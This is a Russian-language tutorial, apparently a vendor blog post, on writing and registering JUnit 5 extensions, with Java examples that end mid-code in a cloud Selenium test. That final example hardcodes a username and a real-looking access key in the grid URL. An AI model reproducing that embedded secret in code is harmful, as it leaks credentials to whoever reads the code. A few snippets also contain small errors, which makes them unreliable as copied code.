Теперь, когда мы рассмотрели основы расширений JUnit 5, давайте напишем код примера, который иллюстрирует расширения JUnit 5. Для этого давайте создадим Java-проект с тремя примерами тестов для Java-класса, используя Eclipse IDE:
Если вы работаете в других Java IDE (не Eclipse), вы можете ознакомиться с подробным блог постом, в котором подробно рассказывается, [как запустить JUnit из Eclipse IDE](https://www.lambdatest.com/blog/setup-junit-environment/#juniteclipse) . После добавления библиотеки JUnit 5 в путь сборки (или добавления зависимостей для проекта Maven) мы видим, что расширение JUnit 5 находится в *org.junit.jupiter.api* в пакете *org.junit.jupiter.api.extension* как показано ниже:
Вот пример Java кода, демонстрирующий простое расширение JUnit 5:
```
class FirstTestCase {
@BeforeAll
static void setUpBeforeClass() throws Exception {
}
@AfterAll
static void tearDownAfterClass() throws Exception {
}
@BeforeEach
void setUp() throws Exception {
}
@AfterEach
void tearDown() throws Exception {
}
@Test
void test() {
fail("Not yet implemented");
}
}
```
Как видно из приведенного выше кода, мы использовали [аннотации JUnit,](https://www.lambdatest.com/blog/tutorial-on-junit-annotations-in-selenium-with-examples/) связанные с жизненным циклом выполнения теста, которые мы обсудим позже.
### Как зарегистрировать расширения JUnit 5
Регистрация одного или нескольких расширений в JUnit 5 выполняется через механизм Java ServiceLoader. Существует три способа регистрации расширений: декларативно, программно и автоматически.
Регистрация одного или нескольких расширений может быть выполнена с помощью аннотаций в тестовом интерфейсе, тестовом классе (или его поле) или тестовом методе в зависимости от типа регистрации:
* **Декларативная регистрация**: аннотацию @ExtendWith (classReference.class) следует использовать для применения расширения к полям класса, тестовым интерфейсам, тестовым методам или пользовательским составным аннотациям.
```
// 1. Для тестового класса
@ExtendWith(LoggingExtension.class)
// 2. Составная аннотация
@ExtendWith({LoggingExtension.class, DivideExceptionHandler.class})
public class RegisteringExtensionTest {
// 3. Для метода тестирования
@ExtendWith(DivideExceptionHandler.class)
@Test
void divideTestMethod() {
Calculate.divide(5, 0);
}
@ExtendWith(LoggingExtension.class)
@Test
void divideMethod() {
Calculate.divide(0, 0);
}
}
```
Для демонстрирации расширения JUnit 5, мы использовали пример, который показывает обработку исключений результатов теста:
```
public class DivideExceptionHandler implements TestExecutionExceptionHandler{
@Override
public void handleTestExecutionException(ExtensionContext ctx, Throwable throwable) throws Throwable {
// обработка исключения
System.out.println("operation not allowed for division");
}
}
```
Мы использовали аннотацию @ExtendWith (AdditionalOutputExtension.class) для регистрации указанного выше класса, чтобы среда JUnit могла использовать его на более позднем этапе.
```
@ExtendWith(AdditionalOutputExtension.class)
public class ArithmeticTest {
private int result = 5;
@ExtendWith(DivideExceptionHandler.class)
@Test
void test_Divide_by_zero() {
result = Calculate.divide(result, 0);
System.out.println("test_Divide(5,0) => "+result);
}
}
```
* **Программная регистрация:** мы можем использовать аннотацию @RegisterExtension, применив ее к полям в тестовых классах:
```
public class WebServerDemo {
@RegisterExtension
static WebServerExtension server = WebServerExtension.builder()
.enableSecurity(false)
.build();
@Test
void getProductList() {
WebClient webClient = new WebClient();
String serverUrl = server.getServerUrl();
// Use WebClient to connect to web server using serverUrl and verify response
assertEquals(200, webClient.get(serverUrl + "/products").getResponseStatus());
}
}
```
* **Автоматическая регистрация:** мы можем использовать *java.util.ServiceLoader* для автоматического обнаружения и регистрации сторонних расширений.
### Условное выполнение теста JUnit 5 с аннотациями
Во-первых, условное выполнение теста позволяет запускать (включать) или пропускать (отключать) тестовые сценарии в зависимости от определенных условий использу\ API *org.junit.jupiter.api.condition*. Давайте посмотрим, как аннотации пакета условий можно использовать для реализации условного выполнения теста в JUnit 5.
**1. Условия операционной системы**
Условия операционной системы можно использовать с аннотациями @EnabledOnOs и @DisabledOnOs. Условия помогают запустить тест JUnit 5 на конкретной платформе (или операционной системе).
```
public class OsConditionalTest {
@Test
@EnabledOnOs(OS.MAC)
void runOnlyOnMacOs() {
System.out.println("Run the batch job only on MAC OS");
}
@Test
@EnabledOnOs({ OS.LINUX, OS.MAC })
void runOnlyOnLinuxOrMac() {
System.out.println("Run the batch job only on LINUX or MAC OS");
}
@Test
@DisabledOnOs(OS.WINDOWS)
void notRunOnWindows() {
System.out.println("Not run the batch job on WINDOWS OS");
}
@Test
@EnabledOnOs({ OS.WINDOWS })
void runOnlyOnWindows() {
System.out.println("Run the batch job only on WINDOWS OS");
}
@Test
@DisabledOnOs({OS.AIX, OS.LINUX, OS.SOLARIS})
void notRunOnAIXorLinuxOrSolaris() {
System.out.println("Not run the batch job on AIX or LINUX or SOLARIS");
}
}
```
**2. Условия среды выполнения Java**
Тестовые сценарии можно запускать при определенных условиях, связанных с JRE (Java Runtime Environment), или в определенном диапазоне диапазона версии JRE с использованием аннотаций @EnabledOnJre, @DisabledOnJre и @EnabledForJreRange.
```
public class JreConditionalTest {
@Test
@EnabledOnJre(JRE.JAVA_8)
void runOnlyOnJava8() {
System.out.println("Run the compatibility test only on JRE 8");
}
@Test
@EnabledOnJre({JRE.JAVA_13, JRE.JAVA_14})
void runOnlyOnJava13OrJava14() {
System.out.println("Run the compatibility test only on JRE 13 and JRE 14");
}
@Test
@DisabledOnJre(JRE.JAVA_13)
void notRunOnJava13() {
System.out.println("not run the compatibility test on JRE 13");
}
@Test
@EnabledOnJre(JRE.JAVA_11)
void runOnlyOnJava11() {
System.out.println("Run the compatibility test only on JRE 11");
}
@Test
@DisabledOnJre({JRE.JAVA_10, JRE.JAVA_11})
void notRunOnJava10andJava11() {
System.out.println("not Run the compatibility test on JRE 10 and JRE 11");
}
}
```
**3. Условия собственности системы**
Тестовые сценарии могут быть включены или отключены в зависимости от системного свойства с помощью аннотаций @EnabledIfSystemProperty и / или @DisabledIfSystemProperty.
```
public class SystemPropertyConditionalTest {
@Disabled
@Test
void printSystemProperties() {
//remove @Disabled to see System properties
System.getProperties().forEach((key, value) -> System.out.println(key+" - "+value));
}
@Test
@EnabledIfSystemProperty(named = "java.vm.vendor", matches = "Oracle.*")
void runOnlyOnOracleJDK() {
System.out.println("Run this only on Oracle JDK");
}
@Test
@EnabledIfSystemProperty(named = "os.arch", matches = ".*32.*")
void runOnlyOn32bitOS() {
System.out.println("Run this on only on 32 bit OS");
}
@Test
@DisabledIfSystemProperty(named = "os.version", matches = ".*10.*")
void notRunOnlyOnWindows10() {
System.out.println("not run this only on windows 10 version");
}
@Test
@EnabledIfSystemProperty(named = "os.version", matches = ".*10.*")
void runOnlyOnWindows10() {
System.out.println("Run this only on WINDOWS OS 10 version");
}
}
```
**4. Условия переменных окружающей среды**
Тестовые сценарии JUnit 5 могут быть включены или отключены в зависимости от состояния (или значения) переменных среды. Это можно сделать с помощью аннотаций @EnabledIfEnvironmentVariable и @DisabledIfEnvironmentVariable в среде JUnit 5.
```
public class EnvironmentVariableConditionalTest {
@Disabled
@Test
void printSystemProperties() {
// Remove @Disabled to see environment properties
System.getenv().forEach((key, value) -> System.out.println(key+" - "+value));
}
@Test
@EnabledIfEnvironmentVariable(named = "COMPUTERNAME", matches = "sysname")
void runOnlyOnPerticularMachine() {
System.out.println("Run this only on particular server");
}
@Test
@DisabledIfEnvironmentVariable(named = "PROCESSOR_ARCHITECTURE", matches = ".*32.*")
void noRrunOn32bitOS() {
System.out.println("Not run this on 32 bit OS");
}
@Test
@EnabledIfEnvironmentVariable(named = "USERNAME", matches = "username")
void runOnlyForParticularUser() {
System.out.println("run this only for particular user in system");
}
}
```
**5. Пользовательские условия**
Пользовательские условия могут быть установлены для включения или отключения тестовых сценарии через API расширения ExecutionCondition. Вот два способа реализации тестовых примеров, которые выполняются в определенных (настраиваемых) условиях:
* Комбинация встроенных аннотаций для создания настраиваемой аннотации, которую можно будет использовать позже в качестве условия тестирования.
```
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
@Test
@EnabledOnOs({ OS.WINDOWS })
@EnabledIfSystemProperty(named = "os.version", matches = ".*10.*")
@EnabledIfEnvironmentVariable(named = "PROCESSOR_ARCHITECTURE", matches = ".*64.*")
public @interface RunOnlyOn64bitWindows10 {
}
```
Комбинированные встроенные аннотации внутри тестового условия могут использоваться как аннотации внутри тестового класса. Это поможет определить условия, при которых следует проводить тест.
```
public class CustomBuiltInTest {
@RunOnlyOn64bitWindows10
void runOnlyOn64bitWindows10() {
System.out.println("Run only this on 64-bit Windows 10 System.");
}
}
```
Пользовательские аннотации также могут быть созданы с нуля с помощью API расширения ExecutionCondition. Используя этот подход, вы можете обойтись без использования встроенных аннотаций. Чтобы продемонстрировать пользовательские аннотации с использованием примера расширения JUnit 5, мы запускаем тесты в условиях среды выполнения (т. е. среда может быть для разработки, контроля качества или производственная), как показано ниже:
```
public class EnvironmentConditionalTests {
@Test
@Environment(enabledFor = {"Dev", "QA"})
void add() {
Assertions.assertEquals(2, Calculate.add(1, 1));
}
@Test
void multiply() {
Assertions.assertEquals(6, Calculate.multiple(3, 2));
}
}
```
Здесь условие для запуска теста add() выполняется в тестовой среде или среде разработки (не в реальном времени). Вот как вы можете создать аннотацию @Environment с нуля и реализовать ее в примере расширения JUnit 5:
* Мы создаем файл Environment.java и устанавливаем атрибут enabledFor, чтобы добавить в него параметры. Затем созданная аннотация должна зарегистрировать расширение условия через файл EnvironmentExecutionCondition с помощью аннотации @ExtendWith.
* Создайте файл EnvironmentExecutionCondition, в котором будут указаны все условия для реализации ExecutionCondition API.
```
@ExtendWith(EnvironmentExecutionCondition.class)
@Retention(RUNTIME)
public @interface Environment {
String[] enabledFor();
}
```
```
public class EnvironmentExecutionCondition implements ExecutionCondition{
@Override
public ConditionEvaluationResult evaluateExecutionCondition(ExtensionContext context){
String activeEnvironment = System.getProperty("environment");
if(activeEnvironment == null) {
return ConditionEvaluationResult.disabled("There is no active environment");
}
Set enabledEnvironments = getEnabledEnvironment(context);
return enabledEnvironments.contains(activeEnvironment)
? ConditionEvaluationResult.enabled("active environment is enabled")
: ConditionEvaluationResult.disabled("active environment is not enabled");
}
private Set getEnabledEnvironment(ExtensionContext context) {
Set enabledEnvironments = new HashSet<>();
context.getElement().ifPresent(element ->
AnnotationSupport.findAnnotation(element, Environment.class)
.map(Environment::enabledFor)
.ifPresent(array -> enabledEnvironments.addAll(Arrays.asList(array)))
);
return enabledEnvironments;
}
}
```
При запуске тестов в среде Dev или QA, тест «add» будет активен и выполнен, тогда как тесты не будут выполняться, если вы находитесь в среде Prod.
Чтобы выполнить тесты в данной среде, запустите соответствующую команду для аргументов виртуальной машины в параметре «run configurations»:
1. Среда разработки: -ea -Denvironment = Dev
2. Среда обеспечения качества: -ea -Denvironment = QA
3. Среда Prod (или Live): -ea -Denvironment = live
Прочтите: [Как запустить тесты Junit из командной строки](https://www.lambdatest.com/blog/run-junit-from-command-line/)
### Как создать расширения JUnit 5 путем реализации TestInstanceFactory
Мы можем создавать расширения JUnit 5, реализуя API TestInstanceFactory для создания экземпляров тестовых классов. Они должны выполняться перед выполнением каждого метода тестирования.
Затем созданный тестовый экземпляр можно получить из инфраструктуры внедрения зависимостей или путем вызова статического фабричного метода для его создания.
Следующий пример расширения JUnit 5 демонстрирует использование фабрик тестовых экземпляров во внешних и внутренних классах:
```
@ExtendWith(CustomTestInstanceFactory.class)
public class OuterTest {
@Test
void outer() {
}
@Nested
// @ExtendWith(CustomTestInstanceFactory.class)
class Inner {
@Test
void inner() {
}
@Nested
// @ExtendWith(CustomTestInstanceFactory.class)
class InnerInner {
@Test
void innerInner() {
}
}
}
}
```
```
import static org.junit.platform.commons.util.ReflectionUtils.newInstance;
public class CustomTestInstanceFactory implements TestInstanceFactory{
public Object createTestInstance(TestInstanceFactoryContext factoryContext, ExtensionContext extensionContext)
throws TestInstantiationException {
try {
Optional outerInstance = factoryContext.getOuterInstance();
Class testClass = factoryContext.getTestClass();
if (outerInstance.isPresent()) {
System.out.println("createTestInstance() called for inner class: "
+ testClass.getSimpleName());
return newInstance(testClass, outerInstance.get());
}
else {
System.out.println("createTestInstance() called for outer class: "
+ testClass.getSimpleName());
return newInstance(testClass);
}
}
catch (Exception e) {
throw new TestInstantiationException(e.getMessage(), e);
}
}
}
```
### Как протестировать обратные вызовы жизненного цикла в JUnit 5
Обратные вызовы жизненного цикла - это функции, которые автоматически выполняются до или после определенных методов модели. Например, вы можете использовать обратные вызовы жизненного цикла для автоматического вычисления значения атрибута «full name» перед созданием или обновлением записи пользователя.
#### Методы жизненного цикла и жизненный цикл тестового экземпляра
В жизненном цикле основного тестового экземпляра JUnit 5 определяет жизненный цикл класса и метода, управляемый следующими аннотациями:
1. @BeforeAll
2. @BeforeEach
3. @AfterEach
4. @AfterAll
Методы, помеченные @BefсегоoreAll и @AfterAll, должны выполняться до и после всех тестовых методов в классе. С другой стороны, методы, аннотированные @BeforeEach и @AfterEach, должны выполняться соответственно до и после каждого метода тестирования.
JUnit создает новый экземпляр для тестового класса перед запуском каждого теста в жизненном цикле тестового экземпляра. Такое поведение направлено на запуск каждого теста отдельно и, таким образом, позволяет избежать побочных эффектов от запуска других тестов.
```
class TestInstanceLifecycle {
public TestInstanceLifecycle() {
super();
System.out.println("test instance Constructor");
}
@BeforeAll
static void setUpBeforeClass() throws Exception {
System.out.println("@BeforeAll : Before the entire test fixture");
}
@AfterAll
static void tearDownAfterClass() throws Exception {
System.out.println("@AfterAll : After the entire test fixture");
}
@BeforeEach
void setUp() throws Exception {
System.out.println("@BeforeEach : Before each test");
}
@AfterEach
void tearDown() throws Exception {
System.out.println("@AfterEach : After each test");
}
@Test
void firstTest() {
System.out.println("First test");
}
@Test
void secondTest() {
System.out.println("Second test");
}
}
```
Выполнение этого кода дает следующий результат:
```
@BeforeAll: Before the entire test fixture
test instance Constructor
@BeforeEach: Before each test
First test
@AfterEach: After each test
test instance Constructor
@BeforeEach: Before each test
Second test
@AfterEach: After each test
@AfterAll: After the entire test fixture
```
Исходя из результата выполнения теста, поведение по умолчанию - следующее:
Жизненный цикл каждого методаПоведение жизненного цикла теста можно изменить с помощью API *org.junit.jupiter.api.TestInstance*, который позволяет изменить жизненный цикл по умолчанию (для тестового класса или метода тестирования). Это можно сделать, добавив в тестовый класс аннотацию @TestInstance (TestInstance.Lifecycle.PER\_CLASS).
Вот обновленный результат выполнения после модификации поведения по умолчанию (жизненного цикла теста):
```
test instance Constructor
@BeforeAll: Before the entire test fixture
@BeforeEach: Before each test
First test
@AfterEach: After each test
@BeforeEach: Before each test
Second test
@AfterEach: After each test
@AfterAll: After the entire test fixture
```
По результату выполнения теста измененное поведение следующее:
Жизненный цикл для каждого класса#### Жизненный цикл расширения JUnit 5
Помимо жизненного цикла для каждого класса и для каждого метода, JUnit 5 Jupiter предлагает различные интерфейсы, которые определяют API-интерфейсы для расширения тестов в различных точках жизненного цикла выполнения. Поэтому JUnit 5 вызывает обратные вызовы расширений для реализации требуемого поведения.
API-интерфейсы являются частью пакета *org.junit.jupiter.api.extension*. Вот API, определяющие жизненный цикл расширения:
* AfterAllCallback
* AfterEachCallback
* BeforeAllCallback
* BeforeEachCallback
Мы можем создать расширение для тестового класса, реализовав интерфейсы BeforeAllCallback, AfterAllCallback, BeforeEachCallback и AfterEachCallback.
```
public class ExtensionCallbackLifecycle implements BeforeAllCallback, AfterAllCallback,
BeforeEachCallback, AfterEachCallback {
@Override
public void afterEach(ExtensionContext context) throws Exception {
System.out.println("After Each from AfterEachCallback Extension");
}
@Override
public void beforeEach(ExtensionContext context) throws Exception {
System.out.println("Before Each from BeforeEachCallback Extension");
}
@Override
public void afterAll(ExtensionContext context) throws Exception {
System.out.println("After All from AfterAllCallback Extension");
}
@Override
public void beforeAll(ExtensionContext context) throws Exception {
System.out.println("Before All from BeforeAllCallback Extension");
}
}
```
Вот как применить указанную точку расширения к тест-классу:
```
@ExtendWith(ExtensionCallbackLifecycle.class)
public class ExtensionLifecycleTest {
public ExtensionLifecycleTest() {
super();
System.out.println("Test instance constructor");
}
@BeforeEach
void beforeEachTest() {
System.out.println("Before each test");
}
@AfterEach
void afterEachTest() {
System.out.println("After each test");
}
@Test
void firstTest() {
System.out.println("First test");
}
@Test
void secondTest() {
System.out.println("Second test");
}
}
```
Вот результат выполнения:
```
Before All from BeforeAllCallback Extension
Test instance constructor
Before Each from BeforeEachCallback Extension
Before each test
First test
After each test
After Each from AfterEachCallback Extension
Test instance constructor
Before Each from BeforeEachCallback Extension
Before each test
Second test
After each test
After Each from AfterEachCallback Extension
After All, from AfterAllCallback Extension
```
### Постобработка тестового экземпляра в JUnit 5
Модель расширений Juniper обеспечивает возможность постобработки тестовых экземпляров после создания тестовых экземпляров путем реализации интерфейса TestInstancePostProcessor. В соответствии с фабрикой тестового экземпляра он может вызывать метод инициализации в тестовом экземпляре, используя, например, зависимости внедрения в экземпляр для использования постобработки тестового экземпляра.
Чтобы проиллюстрировать это, мы возьмем пример системы журналирования из API-интерфейса log4j, который выполняет и записывает журналы после каждого выполнения теста. Давайте рассмотрим пример исключения JUnit 5:
```
public class LoggingPostProcessExtension implements TestInstancePostProcessor{
@Override
public void postProcessTestInstance(Object testInstance, ExtensionContext context) throws Exception {
Logger logger = LogManager.getLogger(testInstance.getClass()
.getName());
System.out.println("Test instance Post- Process Extension called on :"+ testInstance.getClass().getName());
testInstance.getClass()
.getMethod("createLogger", Logger.class)
.invoke(testInstance, logger);
}
}
```
```
public class ArithmeticTest {
private int result = 5;
@ExtendWith(LoggingPostProcessExtension.class)
@Test
void test_Divide() {
result = Calculate.divide(result, 5);
System.out.println("test_Divide(5,5) => "+ result);
Assertions.assertEquals(1, result);
}
```
### Обратный вызов перед уничтожением тестового экземпляра в JUnit 5
Модель расширений также определяет API для расширений, которые необходимо обработать между тестовыми экземплярами и их окончательным уничтожением. Например, обратный вызов перед уничтожением тестового экземпляра обычно используется в таких случаях, как очистка внедренных зависимостей после их использования в тестовом экземпляре.
```
public class DisplayPredestroyedInstances implements TestInstancePreDestroyCallback{
@Override
public void preDestroyTestInstance(ExtensionContext ctx) throws Exception {
List destroyedInstances =
new ArrayList<>(context.getRequiredTestInstances().getAllInstances());
for (Optional current = context.getParent();
current.isPresent();
current = current.get().getParent()) {
current.get().getTestInstances()
.map(TestInstances::getAllInstances)
.ifPresent(destroyedInstances::removeAll);
}
Collections.reverse(destroyedInstances);
destroyedInstances.forEach(testInstance ->
System.out.println("preDestroy: " + testInstance));
}
}
```
```
public class ArithmeticTest {
private int result = 5;
@ExtendWith(DisplayPredestroyedInstances.class)
@Test
void test_Multiply() {
result = Calculate.multiple(result, 5);
System.out.println("test_Multiply(5,5) => "+ result);
Assertions.assertEquals(25, result);
}
}
```
### Разрешение параметра в JUnit 5
Большинство методов тестирования не имеют параметров. Мы используем интерфейс ParameterResolver при использовании параметров, который определяет API *org.junit.jupiter.api.extension.ParameterResolver* для расширений. Он предоставляет функциональные возможности для динамического разрешения параметров во время выполнения.
Следующие конструкторы и аннотированные методы тестового класса могут иметь один или несколько параметров:
1. @Test
2. @TestFactory
3. @BeforeEach
4. @AfterEach
5. @BeforeAll
6. @AfterAll
Разрешение параметра может быть выполнено с помощью имени, типа, аннотации или их комбинации. JUnit 5 реализует внедрение зависимостей с использованием параметров для конструкторов и методов тестовых классов, чтобы сделать это возможным.
Эти параметры должны быть разрешены во время выполнения экземпляром типа ParameterResolver, который необходимо зарегистрировать ранее.
По умолчанию JUnit 5 автоматически регистрирует ParameterResolver, используя три встроенных преобразователя:
* **TestInfoParameterResolver**: используется для разрешения, внедрения экземпляра типа TestInfo и получения информации о тесте, который выполняется.
* **RepetitionInfoParameterResolver**: используется для внедрения экземпляра типа RepetitionInfo только для повторных тестов.
* **TestReporterParameterResolver**: используется для внедрения экземпляра типа TestReporter, позволяя ему добавлять полезную информацию в отчет о тестировании.
Если вы используете JUnit 4, вы можете ознакомиться с блогом, в котором подробно рассказывается о [параметризации в JUnit для Selenium Automation](https://www.lambdatest.com/blog/junit-parameterized-test-selenium/).
```
public class BuiltInParamResolver {
@Test
@DisplayName("TestInfo Param Resolver")
void firstTestCase(TestInfo testInfo) {
assertEquals("TestInfo Param Resolver", testInfo.getDisplayName());
System.out.println("TestInfo executed !");
}
@RepeatedTest(3)
@DisplayName("RepetitionInfo Param Resolver")
void test_repeted(RepetitionInfo repetitionInfo) {
System.out.println("start test_repeted : "+repetitionInfo.getCurrentRepetition());
assertEquals(9, Calculate.add(5, 4));
}
@Test
@DisplayName("Testreport Param Resolver")
void testReport(TestReporter testReporter) {
testReporter.publishEntry("test reporter with single value : "+Calculate.add(4, 3));
assertEquals(7, Calculate.add(4, 3));
}
}
```
### Обработка исключений в JUnit 5
Интерфейс TestExecutionExceptionHandler определяет API, реализующий расширения, позволяющие полностью настроить поведение тестового примера при возникновении исключения.
В продолжение предыдущего примера расширения JUnit 5 мы использовали ArithmeticException для создания тестового класса в тестовом сценарии для divide, как показано ниже:
```
public class ArithmeticTest {
private int result = 5;
@ExtendWith(DivideExceptionHandler.class)
@Test
void test_Divide_by_zero() {
result = Calculate.divide(result, 0);
System.out.println("test_Divide(5,0) => "+ result);
}
}
```
Он расширен до класса обработчика исключений для обработки исключения, вызванного операцией деления (при обработке деления на ноль):
```
public class DivideExceptionHandler implements TestExecutionExceptionHandler{
@Override
public void handleTestExecutionException(ExtensionContext ctx, Throwable throwable)
throws Throwable {
// handle exception
System.out.println("operation not allowed for division");
}
}
```
Можно использовать традиционный метод создания исключения (с помощью try… catch, Rules и т. д.) или через аннотации, реализовав интерфейс *TestExecutionExceptionHandler*.
Читать дополнительно: [Mastering Selenium Testing With JUnit Asserts](https://www.lambdatest.com/blog/junit-assertions-example-for-selenium-testing/)
### Сторонние расширения фреймворка в JUnit 5
Принцип JUnit - предоставить легко расширяемую базовую структуру, которая позволяет пользователям работать быстрее, чем разработчики API. Эта функция позволяет создавать API-интерфейсы, которые служат основой для сторонних библиотек.
Хотя JUnit 5 включает ряд сторонних расширений, мы рассмотрим следующие расширения, широко используемые сообществом разработчиков:
* MockitoExtension
* Selenium-Jupiter
* Spring TestContext: SpringExtension for Jupiter
#### 1. MockitoExtension
JUnit 5 лучше всего подходит для запуска модульных тестов. Однако при выполнении интеграционного тестирования между модулями (или взаимозависимыми ресурсами) и проверки взаимодействия заглушки или макеты используются для имитации (или представления) зависимых или недоступных ресурсов. Mockito - это фреймворк, который позволяет создавать фиктивные объекты для интеграционного тестирования.
Вот основные способы использования MockitoExtension:
1. Ручной подход
2. Использование аннотаций
3. Использование расширений JUnit 5, доступных в артефакте *mockito-junit-jupiter* (наиболее предпочтительный вариант)
```
org.mockito
mockito-junit-jupiter
2.23.4
test
```
Использование расширения Mockito можно увидеть в действии, используя расширение и добавив @ExtendWith в тестовый класс и аннотируя моделируемые поля с помощью @Mock.
Например, если нам нужно протестировать класс SERVICE и имитировать базу данных, нам нужно использовать следующий код:
```
public class Database {
public boolean isAvailable() {
// TODO implement the access to the database
return false;
}
public int getUniqueId() {
return 42;
}
}
public class Service {
private Database database;
public Service(Database database) {
this.database = database;
}
public boolean query(String query) {
return database.isAvailable();
}
@Override
public String toString() {
return "Using database with id: " + String.valueOf(database.getUniqueId());
}
}
```
Тестовый класс будет выглядеть так:
```
@ExtendWith(MockitoExtension.class)
public class ServiceTest {
@Mock
Database databaseMock;
@Test
public void testQuery() {
assertNotNull(databaseMock);
when(databaseMock.isAvailable())
.thenReturn(true);
Service t = new Service(databaseMock);
boolean check = t.query("* from t");
assertTrue(check);
}
}
```
#### 2. Selenium-Jupiter
Объединив силу Selenium, самой популярной среды тестирования веб-браузеров, и мощность JUnit 5, selenium-jupiter позволяет создавать тесты Selenium с использованием локальных и/или удаленных браузеров. Благодаря этому вы можете запускать различные типы тестов для проверки функциональности веб-приложений и мобильных приложений. Кроме того, расширение *selenium-jupiter* может использоваться для [автоматизации Selenium тестирования](https://www.lambdatest.com/selenium-automation).
Выполните [автоматизацию Selenium тестирования в облаке с помощью JUnit Framework](https://www.lambdatest.com/selenium-automation-testing-with-junit).
Для проектов Maven следует использовать следующую зависимость:
```
io.github.bonigarcia
selenium-jupiter
3.4.0
```
*Selenium-Jupiter* можно использовать, просто используя аннотацию @ExtendWith в интерфейсе SeleniumJupiter для выполнения [тестирования кроссбраузерной совместимости](https://www.lambdatest.com/feature). Вот демонстрационный пример:
```
@ExtendWith(SeleniumJupiter.class)
public class CrossBrowserTest {
@Test
void testWithOneChrome(ChromeDriver chromeDriver) {
// Use Chrome in this test
chromeDriver.get("https://bonigarcia.github.io/selenium-jupiter/");
Assertions.assertEquals(chromeDriver.getTitle(),
"Selenium-Jupiter: JUnit 5 extension for Selenium");
}
@Test
void testWithFirefox(FirefoxDriver firefoxDriver) {
// Use Firefox in this test
firefoxDriver.get("https://bonigarcia.github.io/selenium-jupiter/");
Assertions.assertEquals(firefoxDriver.getTitle(),
"Selenium-Jupiter: JUnit 5 extension for Selenium");
}
@Test
void testWithChromeAndFirefox(ChromeDriver chromeDriver,
FirefoxDriver firefoxDriver) {
// Use Chrome and Firefox in this test
chromeDriver.get("http://www.seleniumhq.org/");
firefoxDriver.get("http://junit.org/junit5/");
Assertions.assertEquals(chromeDriver.getTitle(), "SeleniumHQ Browser Automation");
Assertions.assertEquals(firefoxDriver.getTitle(), "JUnit 5");
}
}
```
Читать далее: [Automated Testing With JUnit And Selenium For Browser Compatibility](https://www.lambdatest.com/blog/automated-testing-with-junit-and-selenium-for-browser-compatibility/)
**Как использовать Selenium-Jupiter для автоматизации Selenium тестирования**
Selenium-Jupiter поддерживает тестирование удаленных веб-браузеров в Selenium Grid с помощью комбинации *DriverCapabilities* и *RemoteWebDriver*. Вы также можете выполнить [параллельное тестирование в Selenium](https://www.lambdatest.com/blog/what-is-parallel-testing-and-why-to-adopt-it/), запустив тесты в различных комбинациях браузера и платформы с помощью *LambdaTest*.
```
@ExtendWith(SeleniumJupiter.class)
public class RemoteBrowserJupiterTest {
@DriverUrl
String url = "http://localhost:4444/wd/hub";
@BeforeAll
static void setup() throws Exception {
// Start hub
GridLauncherV3.main(new String[] { "-role", "hub", "-port", "4444" });
// Register Chrome in hub
WebDriverManager.chromedriver().setup();
GridLauncherV3.main(new String[] { "-role", "node", "-hub",
"http://localhost:4444/grid/register", "-browser",
"browserName=chrome", "-port", "5555" });
// Register Firefox in hub
WebDriverManager.firefoxdriver().setup();
GridLauncherV3.main(new String[] { "-role", "node", "-hub",
"http://localhost:4444/grid/register", "-browser",
"browserName=firefox", "-port", "5556" });
}
@Test
void testWithRemoteChrome(
@DriverUrl("http://localhost:4444/wd/hub")
@DriverCapabilities("browserName=chrome") RemoteWebDriver driver) {
exercise(driver);
}
@Test
void testWithRemoteFirefox(
@DriverUrl("http://localhost:4444/wd/hub")
@DriverCapabilities("browserName=firefox") RemoteWebDriver driver) {
exercise(driver);
}
void exercise(WebDriver driver) {
driver.get("https://bonigarcia.github.io/selenium-jupiter/");
Assertions.assertEquals(driver.getTitle(),
"Selenium-Jupiter: JUnit 5 extension for Selenium");
}
```
**Как использовать Selenium-Jupiter для тестирования мобильных устройств**
Чтобы создать экземпляр ApiumDriver для управления мобильными устройствами, аннотация DriverCapabilities. Selenium-Jupiter автоматически запустит экземпляр сервера Appium.
```
@ExtendWith(SeleniumJupiter.class)
public class AppiumJupiterTest {
@DriverUrl
String url = "http://localhost:4723/wd/hub";
@DriverCapabilities
DesiredCapabilities capabilities = new DesiredCapabilities();
{
capabilities.setCapability("browserName", "chrome");
capabilities.setCapability("deviceName", "Samsung Galaxy S6");
}
@Test
void testWithAndroid(AppiumDriver driver) {
driver.get("https://bonigarcia.github.io/selenium-jupiter/");
Assertions.assertEquals(driver.getTitle(),
"JUnit 5 extension for Selenium");
}
}
```
**Как использовать Selenium-Jupiter для выполнения автоматизации Selenium тестирования** **в Cloud Grid**
Selenium-Jupiter позволяет запускать автоматизации Selenium тестов на облачной платформе [кроссбраузерного тестирования,](https://www.lambdatest.com/) такой как LambdaTest. Основными преимуществами облачного тестирования являются улучшенное покрытие браузера, устранение связанных с окружающей средой задержек в расписании, повышение качества продукта и снижение совокупной стоимости владения (TCO). Ознакомьтесь с нашим [руководством по облачному тестированию,](https://www.lambdatest.com/blog/cloud-testing-tutorial/) в котором описаны многочисленные преимущества переноса тестов в облачную среду Selenium Grid, такую как LambdaTest.
После создания учетной записи на LamdaTest обратите внимание на имя пользователя и доступ из [раздела профиля LambdaTest](https://accounts.lambdatest.com/detail/profile). Эти учетные данные необходимы для доступа к облачной сетке. Затем вы можете сгенерировать желаемые возможности с помощью [LambdaTest Capabilities Generator](https://www.lambdatest.com/capabilities-generator/).
Ниже показан пример запуска теста JUnit 5 в LambdaTest Grid:
```
@ExtendWith(SeleniumJupiter.class)
public class LambdaTestSeleniumJupiter {
public RemoteWebDriver driver = null;
String username = "mukendik";
String accessKey = "mP7l3gCMXcLmwy7alMb6rAuqAOKcAAXMCklWlHLWbi8XhY0JWd";
{
DesiredCapabilities capabilities = new DesiredCapabilities();
capabilities.setCapability("platform", "Windows 7"); // MacOS Catalina Windows 10
capabilities.setCapability("browserName", "Chrome");
capabilities.setCapability("version", "91.0"); // If this cap isn't specified, it will just get the any available one
capabilities.setCapability("resolution","1024x768");
capabilities.setCapability("build", "Selenium jupiter");
capabilities.setCapability("name", "LambdaTest selenium jupiter");
capabilities.setCapability("network", true); // To enable network logs
capabilities.setCapability("visual", true); // To enable step by step screenshot
capabilities.setCapability("video", true); // To enable video recording
capabilities.setCapability("console", true); // To capture console logs
try {
driver= new RemoteWebDriver(new URL("https://"+username+":"+accessKey+
"@hub.lambdatest.com/wd/hub"), capabilities);
} catch (MalformedURLException e) {
System.out.println("Invalid grid URL");
}
}
@Test
public void testWithLambdaTest() throws Exception {
try {
driver.get("https://lambdatest.github.io/sample-todo-app/");
driver.findElement(By.name("li1")).click();
driver.findElement(By.name("li2")).click();
driver.findElement(By.id("sampletodotext")).clear();
